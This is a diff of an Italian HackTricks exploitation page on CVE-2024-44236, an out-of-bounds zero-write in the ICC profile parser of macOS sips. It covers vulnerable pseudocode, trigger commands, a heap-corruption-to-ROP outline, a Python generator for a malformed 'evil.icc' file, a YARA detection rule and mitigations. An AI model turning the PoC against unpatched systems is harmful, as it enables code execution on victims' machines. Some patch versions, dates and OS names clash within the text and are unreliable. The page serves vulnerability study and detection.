Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md

@@ -4,50 +4,94 @@
 
 ## Panoramica
 
-Una vulnerabilità di scrittura fuori dai limiti nel parser del profilo ICC del sistema di elaborazione delle immagini scriptabile di Apple macOS (`sips`) (macOS 15.0.1, sips-307) a causa di una validazione impropria del campo `offsetToCLUT` nei tag `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Un file ICC creato ad hoc può attivare scritture zero fino a 16 byte oltre il buffer heap, corrompendo i metadati dell'heap o i puntatori di funzione e abilitando l'esecuzione di codice arbitrario (CVE-2024-44236).
+Una vulnerabilità di **zero-write** fuori dai limiti nel parser del profilo ICC del **Scriptable Image Processing System** (`sips`) di Apple macOS (macOS 15.0.1, `sips-307`) consente a un attaccante di corrompere i metadati dell'heap e di trasformare il primitivo in esecuzione di codice completo. Il bug si trova nella gestione del campo `offsetToCLUT` dei tag `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Se gli attaccanti impostano `offsetToCLUT == tagDataSize`, il parser cancella **16 byte oltre la fine del buffer dell'heap**. Il heap spraying consente all'attaccante di azzerare le strutture dell'allocatore o i puntatori C++ che verranno successivamente dereferenziati, producendo una catena di **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
+
+> Apple ha corretto il bug in macOS Sonoma 15.2 / Ventura 14.7.1 (30 ottobre 2024). Una seconda variante (CVE-2025-24185) è stata risolta in macOS 15.5 e iOS/iPadOS 18.5 il 1 aprile 2025.
 
 ## Codice Vulnerabile
-
-La funzione vulnerabile legge e azzera 16 byte a partire da un offset controllato dall'attaccante senza garantire che si trovi all'interno del buffer allocato:
 ```c
-// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
-for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
-if (i > numberOfInputChannels && buffer[i] != 0)
-buffer[i] = 0;
+// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
+if (offsetToCLUT <= tagDataSize) {
+// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
+for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
+buffer[i] = 0;            // no bounds check vs allocated size!
 }
 ```
-Solo un controllo `offsetToCLUT <= totalDataLength` viene eseguito. Impostando `offsetToCLUT == tagDataSize`, il ciclo indicizza fino a 16 byte oltre la fine di `buffer`, corrompendo i metadati dell'heap adiacenti.
+## Passi di Sfruttamento
 
-## Passi di sfruttamento
+1. **Crea un profilo `.icc` malevolo**
 
-1. **Crea un profilo `.icc` malevolo:**
-- Costruisci l'intestazione ICC (128 byte) con la firma `acsp` e una singola voce di tag `lutAToBType` o `lutBToAType`.
-- Nella tabella dei tag, imposta `offsetToCLUT` uguale alla `size` del tag (`tagDataSize`).
-- Posiziona dati controllati dall'attaccante immediatamente dopo il blocco di dati del tag per sovrascrivere i metadati dell'heap.
-2. **Attiva l'analisi:**
+* Imposta un'intestazione ICC minima (`acsp`) e aggiungi un tag `mAB ` (o `mBA `).
+* Configura la tabella dei tag in modo che **`offsetToCLUT` sia uguale alla dimensione del tag** (`tagDataSize`).
+* Posiziona i dati controllati dall'attaccante subito dopo il tag in modo che i 16 scritture zero sovrappongano i metadati dell'allocatore.
+
+2. **Attiva l'analisi con qualsiasi operazione sips che tocchi il profilo**
 
 ```bash
-sips --verifyColor malicious.icc
+# percorso di verifica (nessun file di output necessario)
+sips --verifyColor evil.icc
+# o implicitamente durante la conversione di immagini che incorporano il profilo
+sips -s format png payload.jpg --out out.png
 ```
 
-3. **Corruzione dei metadati dell'heap:** Le scritture zero OOB sovrascrivono i metadati dell'allocatore o i puntatori adiacenti, consentendo all'attaccante di dirottare il flusso di controllo e ottenere l'esecuzione arbitraria di codice nel contesto del processo `sips`.
+3. **Corruzione dei metadati dell'heap ➜ scrittura arbitraria ➜ ROP**
+Sull'allocatore **`nano_zone`** predefinito di Apple, i metadati per slot da 16 byte si trovano **immediatamente dopo** il blocco allineato 0x1000. Posizionando il tag del profilo alla fine di un tale blocco, le 16 scritture zero danneggiano `meta->slot_B`. Dopo un successivo `free`, il puntatore avvelenato viene inserito nella lista di piccole allocazioni libere, consentendo all'attaccante di **allocare un oggetto falso a un indirizzo arbitrario** e sovrascrivere un puntatore vtable C++ utilizzato da sips, infine deviando l'esecuzione verso una catena ROP memorizzata nel buffer ICC malevolo.
 
+### Generatore PoC rapido (Python 3)
+```python
+#!/usr/bin/env python3
+import struct, sys
+
+HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
+TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
+profile  = HDR
+profile += struct.pack('>I', len(TAGS))  # tag count
+profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
+
+mab = bytearray(52)                      # tag payload (52 bytes)
+struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
+profile += mab
+
+open('evil.icc', 'wb').write(profile)
+print('[+] Wrote evil.icc (%d bytes)' % len(profile))
+```
+### Regola di rilevamento YARA
+```yara
+rule ICC_mAB_offsetToCLUT_anomaly
+{
+meta:
+description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
+author       = "HackTricks"
+strings:
+$magic = { 61 63 73 70 }          // 'acsp'
+$mab   = { 6D 41 42 20 }          // 'mAB '
+$mba   = { 6D 42 41 20 }          // 'mBA '
+condition:
+$magic at 0 and
+for any i in (0 .. 10):           // up to 10 tags
+(
+($mab at 132 + 12*i or $mba at 132 + 12*i) and
+uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
+)
+}
+```
 ## Impatto
 
-Lo sfruttamento riuscito porta all'esecuzione remota di codice arbitrario con privilegi utente su sistemi macOS che eseguono l'utilità `sips` vulnerabile.
+L'apertura o l'elaborazione di un profilo ICC creato ad hoc porta all'**esecuzione arbitraria di codice** da remoto nel contesto dell'utente che lo invoca (Preview, QuickLook, rendering delle immagini in Safari, allegati di Mail, ecc.), eludendo Gatekeeper poiché il profilo può essere incorporato all'interno di immagini altrimenti innocue (PNG/JPEG/TIFF).
 
-## Rilevamento
+## Rilevamento e Mitigazione
 
-- Monitora i trasferimenti di file su protocolli comuni (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
-- Ispeziona i file trasferiti con la firma `acsp`.
-- Per ogni tag `mAB ` o `mBA `, verifica se il campo `Offset to CLUT` è uguale alla `Tag data size`.
-- Segnala come sospetto se questa condizione è soddisfatta.
+* **Patch!** Assicurati che l'host stia eseguendo macOS ≥ 15.2 / 14.7.1 (o iOS/iPadOS ≥ 18.1).
+* Distribuisci la regola YARA sopra sui gateway email e sulle soluzioni EDR.
+* Rimuovi o sanifica i profili ICC incorporati con `exiftool -icc_profile= -overwrite_original <file>` prima di ulteriori elaborazioni su file non attendibili.
+* Indurire Preview/QuickLook eseguendoli all'interno di VM "sandboxed" di “trasparenza e modernizzazione” quando si analizzano contenuti sconosciuti.
+* Per DFIR, cerca l'esecuzione recente di `sips --verifyColor` o i caricamenti della libreria `ColorSync` da parte di app sandboxed nel log unificato.
 
 ## Riferimenti
 
-- ZDI blog: CVE-2024-44236: Vulnerabilità di Esecuzione Remota di Codice nell'Utilità sips di Apple macOS
-https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
-- Aggiornamento di Sicurezza di Apple di Ottobre 2024 (patch che risolve CVE-2024-44236)
-https://support.apple.com/en-us/121564
+* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
+https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
+* Aggiornamenti di sicurezza Apple HT213981 “Informazioni sul contenuto di sicurezza di macOS Sonoma 15.2”
+https://support.apple.com/en-us/HT213981
 
 {{#include ../../banners/hacktricks-training.md}}